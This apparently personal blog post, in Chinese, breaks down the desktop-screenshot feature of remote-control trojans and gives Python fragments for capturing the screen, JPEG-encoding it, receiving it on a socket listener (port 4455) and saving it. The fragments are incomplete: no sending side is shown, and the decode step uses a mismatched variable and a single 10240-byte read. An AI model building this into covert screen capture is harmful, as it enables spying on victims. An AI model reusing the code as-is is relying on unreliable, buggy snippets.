桌面监控工具获取优化方案

0x01 简述

最近我闲来无事,决定拆分一些常用工具的功能,并用代码实现这些功能。通过这种方法,不仅可以达到自定义功能的效果,而且将工具拆分后,以后对其进行小改动也更加方便。

0x02 拆分远程控制之桌面截图获取

许多远程控制木马都包含了对用户桌面进行截图的功能,以便获取用户界面的情况。桌面截图工具的运行流程通常如下:

  1. 在受控端进行桌面截图
  2. 对图片数据进行编码
  3. 数据传输
  4. 控制端接收数据
  5. 控制端解析数据

要用Python实现以上功能,需要使用以下模块:

  • socket
  • PIL
  • cv2
  • numpy
  • struct

数据传输可以通过以下几种方式进行:

  1. 使用 socket 进行传输
  2. 将图片发送至邮箱
  3. 通过社交机器人接收图片

本文主要讨论的是通过 socket 传输到服务端的代码。

0x03 主要代码

屏幕截取

python复制
from PIL import ImageGrab

screenshot = ImageGrab.grab()

编码部分(将图像转换为可通过 socket 传输的格式)

python复制
import cv2
import numpy as np

img_array = np.asarray(screenshot)
resized_img = cv2.resize(img_array, dsize=(1000, 668))
_, encoded_img = cv2.imencode(".jpg", resized_img)

接收部分

python复制
import socket

socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '0.0.0.0'
port = 4455
socket_server.bind((host, port))
socket_server.listen(5)
clientsocket, addr = socket_server.accept()
received_img = clientsocket.recv(10240)

解码部分

python复制
import cv2
import numpy as np

img_data = clientsocket.recv(10240)
img_decode = np.frombuffer(received_img, dtype=np.uint8)
decoded_img = cv2.imdecode(img_decode, cv2.IMREAD_COLOR)

存储图片

python复制
import cv2
import time

cv2.imwrite(str(time.time()) + ".jpg", cv2.cvtColor(decoded_img, cv2.COLOR_BGR2RGB))
cv2.waitKey(90)

0x04 问题总结

  1. 为什么要进行编码后再传输? 答:进行两次编码是为了将图像数据转换成 socket 可以传输的格式。

  2. cv2.COLOR_BGR2RGB 是什么意思? 答:ImageGrab.grab() 获取的图像是 RGB 格式的,但在后续操作中转换为了 BGR 像素格式的数组,因此在保存图像时需要重新转换为 RGB 格式。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容